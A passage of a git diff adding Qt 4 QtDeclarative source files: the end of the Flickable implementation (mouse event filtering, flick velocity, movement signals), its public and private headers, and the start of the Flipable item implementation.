+ return rv;
+}
+
+bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeFlickable);
+ QGraphicsSceneMouseEvent mouseEvent(event->type());
+ QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect();
+
+ QGraphicsScene *s = scene();
+ QDeclarativeItem *grabber = s ? qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem()) : 0;
+ QGraphicsItem *grabberItem = s ? s->mouseGrabberItem() : 0;
+ bool disabledItem = grabberItem && !grabberItem->isEnabled();
+ bool stealThisEvent = d->stealMouse;
+ if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab() || disabledItem)) {
+ mouseEvent.setAccepted(false);
+ for (int i = 0x1; i <= 0x10; i <<= 1) {
+ if (event->buttons() & i) {
+ Qt::MouseButton button = Qt::MouseButton(i);
+ mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button)));
+ }
+ }
+ mouseEvent.setScenePos(event->scenePos());
+ mouseEvent.setLastScenePos(event->lastScenePos());
+ mouseEvent.setPos(mapFromScene(event->scenePos()));
+ mouseEvent.setLastPos(mapFromScene(event->lastScenePos()));
+
+ switch(mouseEvent.type()) {
+ case QEvent::GraphicsSceneMouseMove:
+ d->handleMouseMoveEvent(&mouseEvent);
+ break;
+ case QEvent::GraphicsSceneMousePress:
+ if (d->pressed && !event->spontaneous()) // we are already pressed - this is a delayed replay
+ return false;
+
+ d->handleMousePressEvent(&mouseEvent);
+ d->captureDelayedPress(event);
+ stealThisEvent = d->stealMouse; // Update stealThisEvent in case changed by function call above
+ break;
+ case QEvent::GraphicsSceneMouseRelease:
+ if (d->delayedPressEvent) {
+ // We replay the mouse press but the grabber we had might not be interessted by the event (e.g. overlay)
+ // so we reset the grabber
+ if (s->mouseGrabberItem() == d->delayedPressTarget)
+ d->delayedPressTarget->ungrabMouse();
+ //Use the event handler that will take care of finding the proper item to propagate the event
+ QApplication::sendEvent(scene(), d->delayedPressEvent);
+ d->clearDelayedPress();
+ // We send the release
+ scene()->sendEvent(s->mouseGrabberItem(), event);
+ // And the event has been consumed
+ d->stealMouse = false;
+ d->pressed = false;
+ return true;
+ }
+ d->handleMouseReleaseEvent(&mouseEvent);
+ break;
+ default:
+ break;
+ }
+ grabber = qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem());
+ if ((grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) || disabledItem) {
+ d->clearDelayedPress();
+ grabMouse();
+ }
+
+ return stealThisEvent || d->delayedPressEvent || disabledItem;
+ } else if (d->lastPosTime.isValid()) {
+ d->lastPosTime.invalidate();
+ }
+ if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
+ d->clearDelayedPress();
+ d->stealMouse = false;
+ d->pressed = false;
+ }
+
+ return false;
+}
+
+bool QDeclarativeFlickable::sceneEventFilter(QGraphicsItem *i, QEvent *e)
+{
+ Q_D(QDeclarativeFlickable);
+ if (!isVisible() || !d->interactive)
+ return QDeclarativeItem::sceneEventFilter(i, e);
+ switch (e->type()) {
+ case QEvent::GraphicsSceneMousePress:
+ case QEvent::GraphicsSceneMouseMove:
+ case QEvent::GraphicsSceneMouseRelease:
+ return sendMouseEvent(static_cast<QGraphicsSceneMouseEvent *>(e));
+ default:
+ break;
+ }
+
+ return QDeclarativeItem::sceneEventFilter(i, e);
+}
+
+/*!
+ \qmlproperty real Flickable::maximumFlickVelocity
+ This property holds the maximum velocity that the user can flick the view in pixels/second.
+
+ The default value is platform dependent.
+*/
+qreal QDeclarativeFlickable::maximumFlickVelocity() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->maxVelocity;
+}
+
+void QDeclarativeFlickable::setMaximumFlickVelocity(qreal v)
+{
+ Q_D(QDeclarativeFlickable);
+ if (v == d->maxVelocity)
+ return;
+ d->maxVelocity = v;
+ emit maximumFlickVelocityChanged();
+}
+
+/*!
+ \qmlproperty real Flickable::flickDeceleration
+ This property holds the rate at which a flick will decelerate.
+
+ The default value is platform dependent.
+*/
+qreal QDeclarativeFlickable::flickDeceleration() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->deceleration;
+}
+
+void QDeclarativeFlickable::setFlickDeceleration(qreal deceleration)
+{
+ Q_D(QDeclarativeFlickable);
+ if (deceleration == d->deceleration)
+ return;
+ d->deceleration = deceleration;
+ emit flickDecelerationChanged();
+}
+
+bool QDeclarativeFlickable::isFlicking() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.flicking || d->vData.flicking;
+}
+
+/*!
+ \qmlproperty bool Flickable::flicking
+ \qmlproperty bool Flickable::flickingHorizontally
+ \qmlproperty bool Flickable::flickingVertically
+
+ These properties describe whether the view is currently moving horizontally,
+ vertically or in either direction, due to the user flicking the view.
+*/
+bool QDeclarativeFlickable::isFlickingHorizontally() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.flicking;
+}
+
+bool QDeclarativeFlickable::isFlickingVertically() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->vData.flicking;
+}
+
+/*!
+ \qmlproperty int Flickable::pressDelay
+
+ This property holds the time to delay (ms) delivering a press to
+ children of the Flickable. This can be useful where reacting
+ to a press before a flicking action has undesirable effects.
+
+ If the flickable is dragged/flicked before the delay times out
+ the press event will not be delivered. If the button is released
+ within the timeout, both the press and release will be delivered.
+
+ Note that for nested Flickables with pressDelay set, the pressDelay of
+ inner Flickables is overridden by the outermost Flickable.
+*/
+int QDeclarativeFlickable::pressDelay() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->pressDelay;
+}
+
+void QDeclarativeFlickable::setPressDelay(int delay)
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->pressDelay == delay)
+ return;
+ d->pressDelay = delay;
+ emit pressDelayChanged();
+}
+
+
+bool QDeclarativeFlickable::isMoving() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.moving || d->vData.moving;
+}
+
+/*!
+ \qmlproperty bool Flickable::moving
+ \qmlproperty bool Flickable::movingHorizontally
+ \qmlproperty bool Flickable::movingVertically
+
+ These properties describe whether the view is currently moving horizontally,
+ vertically or in either direction, due to the user either dragging or
+ flicking the view.
+*/
+bool QDeclarativeFlickable::isMovingHorizontally() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.moving;
+}
+
+bool QDeclarativeFlickable::isMovingVertically() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->vData.moving;
+}
+
+void QDeclarativeFlickable::movementStarting()
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->hMoved && !d->hData.moving) {
+ d->hData.moving = true;
+ emit movingChanged();
+ emit movingHorizontallyChanged();
+ if (!d->vData.moving)
+ emit movementStarted();
+ }
+ else if (d->vMoved && !d->vData.moving) {
+ d->vData.moving = true;
+ emit movingChanged();
+ emit movingVerticallyChanged();
+ if (!d->hData.moving)
+ emit movementStarted();
+ }
+}
+
+void QDeclarativeFlickable::movementEnding()
+{
+ Q_D(QDeclarativeFlickable);
+ movementXEnding();
+ movementYEnding();
+ d->hData.smoothVelocity.setValue(0);
+ d->vData.smoothVelocity.setValue(0);
+}
+
+void QDeclarativeFlickable::movementXEnding()
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->hData.flicking) {
+ d->hData.flicking = false;
+ emit flickingChanged();
+ emit flickingHorizontallyChanged();
+ if (!d->vData.flicking)
+ emit flickEnded();
+ }
+ if (!d->pressed && !d->stealMouse) {
+ if (d->hData.moving) {
+ d->hData.moving = false;
+ d->hMoved = false;
+ emit movingChanged();
+ emit movingHorizontallyChanged();
+ if (!d->vData.moving)
+ emit movementEnded();
+ }
+ }
+ d->hData.fixingUp = false;
+}
+
+void QDeclarativeFlickable::movementYEnding()
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->vData.flicking) {
+ d->vData.flicking = false;
+ emit flickingChanged();
+ emit flickingVerticallyChanged();
+ if (!d->hData.flicking)
+ emit flickEnded();
+ }
+ if (!d->pressed && !d->stealMouse) {
+ if (d->vData.moving) {
+ d->vData.moving = false;
+ d->vMoved = false;
+ emit movingChanged();
+ emit movingVerticallyChanged();
+ if (!d->hData.moving)
+ emit movementEnded();
+ }
+ }
+ d->vData.fixingUp = false;
+}
+
+void QDeclarativeFlickablePrivate::updateVelocity()
+{
+ Q_Q(QDeclarativeFlickable);
+ emit q->horizontalVelocityChanged();
+ emit q->verticalVelocityChanged();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h
new file mode 100644
index 00000000..c04246c8
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h
@@ -0,0 +1,229 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFLICKABLE_H
+#define QDECLARATIVEFLICKABLE_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeFlickablePrivate;
+class QDeclarativeFlickableVisibleArea;
+class Q_AUTOTEST_EXPORT QDeclarativeFlickable : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal contentWidth READ contentWidth WRITE setContentWidth NOTIFY contentWidthChanged)
+ Q_PROPERTY(qreal contentHeight READ contentHeight WRITE setContentHeight NOTIFY contentHeightChanged)
+ Q_PROPERTY(qreal contentX READ contentX WRITE setContentX NOTIFY contentXChanged)
+ Q_PROPERTY(qreal contentY READ contentY WRITE setContentY NOTIFY contentYChanged)
+ Q_PROPERTY(QDeclarativeItem *contentItem READ contentItem CONSTANT)
+
+ Q_PROPERTY(qreal horizontalVelocity READ horizontalVelocity NOTIFY horizontalVelocityChanged)
+ Q_PROPERTY(qreal verticalVelocity READ verticalVelocity NOTIFY verticalVelocityChanged)
+
+ Q_PROPERTY(BoundsBehavior boundsBehavior READ boundsBehavior WRITE setBoundsBehavior NOTIFY boundsBehaviorChanged)
+ Q_PROPERTY(qreal maximumFlickVelocity READ maximumFlickVelocity WRITE setMaximumFlickVelocity NOTIFY maximumFlickVelocityChanged)
+ Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged)
+ Q_PROPERTY(bool moving READ isMoving NOTIFY movingChanged)
+ Q_PROPERTY(bool movingHorizontally READ isMovingHorizontally NOTIFY movingHorizontallyChanged)
+ Q_PROPERTY(bool movingVertically READ isMovingVertically NOTIFY movingVerticallyChanged)
+ Q_PROPERTY(bool flicking READ isFlicking NOTIFY flickingChanged)
+ Q_PROPERTY(bool flickingHorizontally READ isFlickingHorizontally NOTIFY flickingHorizontallyChanged)
+ Q_PROPERTY(bool flickingVertically READ isFlickingVertically NOTIFY flickingVerticallyChanged)
+ Q_PROPERTY(FlickableDirection flickableDirection READ flickableDirection WRITE setFlickableDirection NOTIFY flickableDirectionChanged)
+
+ Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged)
+ Q_PROPERTY(int pressDelay READ pressDelay WRITE setPressDelay NOTIFY pressDelayChanged)
+
+ Q_PROPERTY(bool atXEnd READ isAtXEnd NOTIFY isAtBoundaryChanged)
+ Q_PROPERTY(bool atYEnd READ isAtYEnd NOTIFY isAtBoundaryChanged)
+ Q_PROPERTY(bool atXBeginning READ isAtXBeginning NOTIFY isAtBoundaryChanged)
+ Q_PROPERTY(bool atYBeginning READ isAtYBeginning NOTIFY isAtBoundaryChanged)
+
+ Q_PROPERTY(QDeclarativeFlickableVisibleArea *visibleArea READ visibleArea CONSTANT)
+
+ Q_PROPERTY(QDeclarativeListProperty<QObject> flickableData READ flickableData)
+ Q_PROPERTY(QDeclarativeListProperty<QGraphicsObject> flickableChildren READ flickableChildren)
+ Q_CLASSINFO("DefaultProperty", "flickableData")
+
+ Q_ENUMS(FlickableDirection)
+ Q_ENUMS(BoundsBehavior)
+
+public:
+ QDeclarativeFlickable(QDeclarativeItem *parent=0);
+ ~QDeclarativeFlickable();
+
+ QDeclarativeListProperty<QObject> flickableData();
+ QDeclarativeListProperty<QGraphicsObject> flickableChildren();
+
+ enum BoundsBehavior { StopAtBounds, DragOverBounds, DragAndOvershootBounds };
+ BoundsBehavior boundsBehavior() const;
+ void setBoundsBehavior(BoundsBehavior);
+
+ qreal contentWidth() const;
+ void setContentWidth(qreal);
+
+ qreal contentHeight() const;
+ void setContentHeight(qreal);
+
+ qreal contentX() const;
+ virtual void setContentX(qreal pos);
+
+ qreal contentY() const;
+ virtual void setContentY(qreal pos);
+
+ bool isMoving() const;
+ bool isMovingHorizontally() const;
+ bool isMovingVertically() const;
+ bool isFlicking() const;
+ bool isFlickingHorizontally() const;
+ bool isFlickingVertically() const;
+
+ int pressDelay() const;
+ void setPressDelay(int delay);
+
+ qreal maximumFlickVelocity() const;
+ void setMaximumFlickVelocity(qreal);
+
+ qreal flickDeceleration() const;
+ void setFlickDeceleration(qreal);
+
+ bool isInteractive() const;
+ void setInteractive(bool);
+
+ qreal horizontalVelocity() const;
+ qreal verticalVelocity() const;
+
+ bool isAtXEnd() const;
+ bool isAtXBeginning() const;
+ bool isAtYEnd() const;
+ bool isAtYBeginning() const;
+
+ QDeclarativeItem *contentItem();
+
+ enum FlickableDirection { AutoFlickDirection=0x00, HorizontalFlick=0x01, VerticalFlick=0x02, HorizontalAndVerticalFlick=0x03 };
+ FlickableDirection flickableDirection() const;
+ void setFlickableDirection(FlickableDirection);
+
+ Q_INVOKABLE Q_REVISION(1) void resizeContent(qreal w, qreal h, QPointF center);
+ Q_INVOKABLE Q_REVISION(1) void returnToBounds();
+
+Q_SIGNALS:
+ void contentWidthChanged();
+ void contentHeightChanged();
+ void contentXChanged();
+ void contentYChanged();
+ void movingChanged();
+ void movingHorizontallyChanged();
+ void movingVerticallyChanged();
+ void flickingChanged();
+ void flickingHorizontallyChanged();
+ void flickingVerticallyChanged();
+ void horizontalVelocityChanged();
+ void verticalVelocityChanged();
+ void isAtBoundaryChanged();
+ void flickableDirectionChanged();
+ void interactiveChanged();
+ void boundsBehaviorChanged();
+ void maximumFlickVelocityChanged();
+ void flickDecelerationChanged();
+ void pressDelayChanged();
+ void movementStarted();
+ void movementEnded();
+ void flickStarted();
+ void flickEnded();
+
+protected:
+ virtual bool sceneEventFilter(QGraphicsItem *, QEvent *);
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ void wheelEvent(QGraphicsSceneWheelEvent *event);
+ void timerEvent(QTimerEvent *event);
+
+ QDeclarativeFlickableVisibleArea *visibleArea();
+
+protected Q_SLOTS:
+ virtual void ticked();
+ void movementStarting();
+ void movementEnding();
+
+protected:
+ void movementXEnding();
+ void movementYEnding();
+ virtual qreal minXExtent() const;
+ virtual qreal minYExtent() const;
+ virtual qreal maxXExtent() const;
+ virtual qreal maxYExtent() const;
+ qreal vWidth() const;
+ qreal vHeight() const;
+ virtual void viewportMoved();
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+ bool sceneEvent(QEvent *event);
+ bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
+
+ bool xflick() const;
+ bool yflick() const;
+ void cancelFlick();
+
+protected:
+ QDeclarativeFlickable(QDeclarativeFlickablePrivate &dd, QDeclarativeItem *parent);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeFlickable)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeFlickable)
+ friend class QDeclarativeFlickableVisibleArea;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeFlickable)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
new file mode 100644
index 00000000..e70767b1
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
@@ -0,0 +1,244 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFLICKABLE_P_H
+#define QDECLARATIVEFLICKABLE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeflickable_p.h"
+
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeitemchangelistener_p.h"
+
+#include <qdeclarative.h>
+#include <qdeclarativetimeline_p_p.h>
+#include <qdeclarativeanimation_p_p.h>
+
+#include <qdatetime.h>
+#include "qplatformdefs.h"
+
+QT_BEGIN_NAMESPACE
+
+// Really slow flicks can be annoying.
+#ifndef QML_FLICK_MINVELOCITY
+#define QML_FLICK_MINVELOCITY 175
+#endif
+
+const qreal MinimumFlickVelocity = QML_FLICK_MINVELOCITY;
+
+class QDeclarativeFlickableVisibleArea;
+class QDeclarativeFlickablePrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
+{
+ Q_DECLARE_PUBLIC(QDeclarativeFlickable)
+
+public:
+ QDeclarativeFlickablePrivate();
+ void init();
+
+ struct Velocity : public QDeclarativeTimeLineValue
+ {
+ Velocity(QDeclarativeFlickablePrivate *p)
+ : parent(p) {}
+ virtual void setValue(qreal v) {
+ if (v != value()) {
+ QDeclarativeTimeLineValue::setValue(v);
+ parent->updateVelocity();
+ }
+ }
+ QDeclarativeFlickablePrivate *parent;
+ };
+
+ struct AxisData {
+ AxisData(QDeclarativeFlickablePrivate *fp, void (QDeclarativeFlickablePrivate::*func)(qreal))
+ : move(fp, func), viewSize(-1), smoothVelocity(fp), atEnd(false), atBeginning(true)
+ , fixingUp(false), inOvershoot(false), moving(false), flicking(false)
+ {}
+
+ void reset() {
+ velocityBuffer.clear();
+ dragStartOffset = 0;
+ fixingUp = false;
+ inOvershoot = false;
+ }
+
+ void addVelocitySample(qreal v, qreal maxVelocity);
+ void updateVelocity();
+
+ QDeclarativeTimeLineValueProxy<QDeclarativeFlickablePrivate> move;
+ qreal viewSize;
+ qreal pressPos;
+ qreal dragStartOffset;
+ qreal dragMinBound;
+ qreal dragMaxBound;
+ qreal velocity;
+ qreal flickTarget;
+ QDeclarativeFlickablePrivate::Velocity smoothVelocity;
+ QPODVector<qreal,10> velocityBuffer;
+ bool atEnd : 1;
+ bool atBeginning : 1;
+ bool fixingUp : 1;
+ bool inOvershoot : 1;
+ bool moving : 1;
+ bool flicking : 1;
+ };
+
+ void flickX(qreal velocity);
+ void flickY(qreal velocity);
+ virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
+ QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
+
+ void fixupX();
+ void fixupY();
+ virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
+
+ void updateBeginningEnd();
+
+ bool isOutermostPressDelay() const;
+ void captureDelayedPress(QGraphicsSceneMouseEvent *event);
+ void clearDelayedPress();
+
+ void setRoundedViewportX(qreal x);
+ void setRoundedViewportY(qreal y);
+
+ qreal overShootDistance(qreal size);
+
+ void itemGeometryChanged(QDeclarativeItem *, const QRectF &, const QRectF &);
+
+public:
+ QDeclarativeItem *contentItem;
+
+ AxisData hData;
+ AxisData vData;
+
+ QDeclarativeTimeLine timeline;
+ bool hMoved : 1;
+ bool vMoved : 1;
+ bool stealMouse : 1;
+ bool pressed : 1;
+ bool interactive : 1;
+ bool calcVelocity : 1;
+ QElapsedTimer lastPosTime;
+ QPointF lastPos;
+ QPointF pressPos;
+ QElapsedTimer pressTime;
+ qreal deceleration;
+ qreal maxVelocity;
+ QElapsedTimer velocityTime;
+ QPointF lastFlickablePosition;
+ qreal reportedVelocitySmoothing;
+ QGraphicsSceneMouseEvent *delayedPressEvent;
+ QGraphicsItem *delayedPressTarget;
+ QBasicTimer delayedPressTimer;
+ int pressDelay;
+ int fixupDuration;
+
+ enum FixupMode { Normal, Immediate, ExtentChanged };
+ FixupMode fixupMode;
+
+ static void fixupY_callback(void *);
+ static void fixupX_callback(void *);
+
+ void updateVelocity();
+ int vTime;
+ QDeclarativeTimeLine velocityTimeline;
+ QDeclarativeFlickableVisibleArea *visibleArea;
+ QDeclarativeFlickable::FlickableDirection flickableDirection;
+ QDeclarativeFlickable::BoundsBehavior boundsBehavior;
+
+ void handleMousePressEvent(QGraphicsSceneMouseEvent *);
+ void handleMouseMoveEvent(QGraphicsSceneMouseEvent *);
+ void handleMouseReleaseEvent(QGraphicsSceneMouseEvent *);
+
+ // flickableData property
+ static void data_append(QDeclarativeListProperty<QObject> *, QObject *);
+ static int data_count(QDeclarativeListProperty<QObject> *);
+ static QObject *data_at(QDeclarativeListProperty<QObject> *, int);
+ static void data_clear(QDeclarativeListProperty<QObject> *);
+};
+
+class QDeclarativeFlickableVisibleArea : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(qreal xPosition READ xPosition NOTIFY xPositionChanged)
+ Q_PROPERTY(qreal yPosition READ yPosition NOTIFY yPositionChanged)
+ Q_PROPERTY(qreal widthRatio READ widthRatio NOTIFY widthRatioChanged)
+ Q_PROPERTY(qreal heightRatio READ heightRatio NOTIFY heightRatioChanged)
+
+public:
+ QDeclarativeFlickableVisibleArea(QDeclarativeFlickable *parent=0);
+
+ qreal xPosition() const;
+ qreal widthRatio() const;
+ qreal yPosition() const;
+ qreal heightRatio() const;
+
+ void updateVisible();
+
+signals:
+ void xPositionChanged(qreal xPosition);
+ void yPositionChanged(qreal yPosition);
+ void widthRatioChanged(qreal widthRatio);
+ void heightRatioChanged(qreal heightRatio);
+
+private:
+ QDeclarativeFlickable *flickable;
+ qreal m_xPosition;
+ qreal m_widthRatio;
+ qreal m_yPosition;
+ qreal m_heightRatio;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeFlickableVisibleArea)
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
new file mode 100644
index 00000000..11569607
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
@@ -0,0 +1,254 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeflipable_p.h"
+
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+#include <qdeclarativeinfo.h>
+
+#include <QtGui/qgraphicstransform.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeFlipablePrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeFlipable)
+public:
+ QDeclarativeFlipablePrivate() : current(QDeclarativeFlipable::Front), front(0), back(0) {}
+
+ void updateSceneTransformFromParent();
+ void setBackTransform();
+
+ QDeclarativeFlipable::Side current;
+ QDeclarativeGuard<QGraphicsObject> front;
+ QDeclarativeGuard<QGraphicsObject> back;
+
+ bool wantBackXFlipped;
+ bool wantBackYFlipped;
+};
+
+/*!
+ \qmlclass Flipable QDeclarativeFlipable
+ \since 4.7
+ \ingroup qml-basic-interaction-elements
+ \brief The Flipable item provides a surface that can be flipped.
+ \inherits Item
+
+ Flipable is an item that can be visibly "flipped" between its front and
+ back sides, like a card. It is used together with \l Rotation, \l State
+ and \l Transition elements to produce a flipping effect.
+
+ The \l front and \l back properties are used to hold the items that are
+ shown respectively on the front and back sides of the flipable item.
+
+ \section1 Example Usage
+
+ The following example shows a Flipable item that flips whenever it is
+ clicked, rotating about the y-axis.
+
+ This flipable item has a \c flipped boolean property that is toggled
+ whenever the MouseArea within the flipable is clicked. When
+ \c flipped is true, the item changes to the "back" state; in this
+ state, the \c angle of the \l Rotation item is changed to 180
+ degrees to produce the flipping effect. When \c flipped is false, the
+ item reverts to the default state, in which the \c angle value is 0.
+
+ \snippet doc/src/snippets/declarative/flipable/flipable.qml 0
+
+ \image flipable.gif
+
+ The \l Transition creates the animation that changes the angle over
+ four seconds. When the item changes between its "back" and
+ default states, the NumberAnimation animates the angle between
+ its old and new values.
+
+ See \l {QML States} for details on state changes and the default
+ state, and \l {QML Animation and Transitions} for more information on how
+ animations work within transitions.
+
+ \sa {declarative/ui-components/flipable}{Flipable example}
+*/
+
+QDeclarativeFlipable::QDeclarativeFlipable(QDeclarativeItem *parent)
+: QDeclarativeItem(*(new QDeclarativeFlipablePrivate), parent)
+{
+}
+
+QDeclarativeFlipable::~QDeclarativeFlipable()
+{
+}
+
+/*!
+ \qmlproperty Item Flipable::front
+ \qmlproperty Item Flipable::back
+
+ The front and back sides of the flipable.
+*/
+
+QGraphicsObject *QDeclarativeFlipable::front()
+{
+ Q_D(const QDeclarativeFlipable);
+ return d->front;
+}
+
+void QDeclarativeFlipable::setFront(QGraphicsObject *front)
+{
+ Q_D(QDeclarativeFlipable);
+ if (d->front) {
+ qmlInfo(this) << tr("front is a write-once property");
+ return;
+ }
+ d->front = front;
+ d->front->setParentItem(this);
+ if (Back == d->current)
+ d->front->setOpacity(0.);
+ emit frontChanged();
+}
+
+QGraphicsObject *QDeclarativeFlipable::back()
+{
+ Q_D(const QDeclarativeFlipable);
+ return d->back;
+}
+
+void QDeclarativeFlipable::setBack(QGraphicsObject *back)
+{
+ Q_D(QDeclarativeFlipable);
+ if (d->back) {
+ qmlInfo(this) << tr("back is a write-once property");
+ return;
+ }
+ d->back = back;
+ d->back->setParentItem(this);
+ if (Front == d->current)
+ d->back->setOpacity(0.);
+ connect(back, SIGNAL(widthChanged()),
+ this, SLOT(retransformBack()));
+ connect(back, SIGNAL(heightChanged()),
+ this, SLOT(retransformBack()));
+ emit backChanged();
+}
+
+void QDeclarativeFlipable::retransformBack()
+{
+ Q_D(QDeclarativeFlipable);
+ if (d->current == QDeclarativeFlipable::Back && d->back)
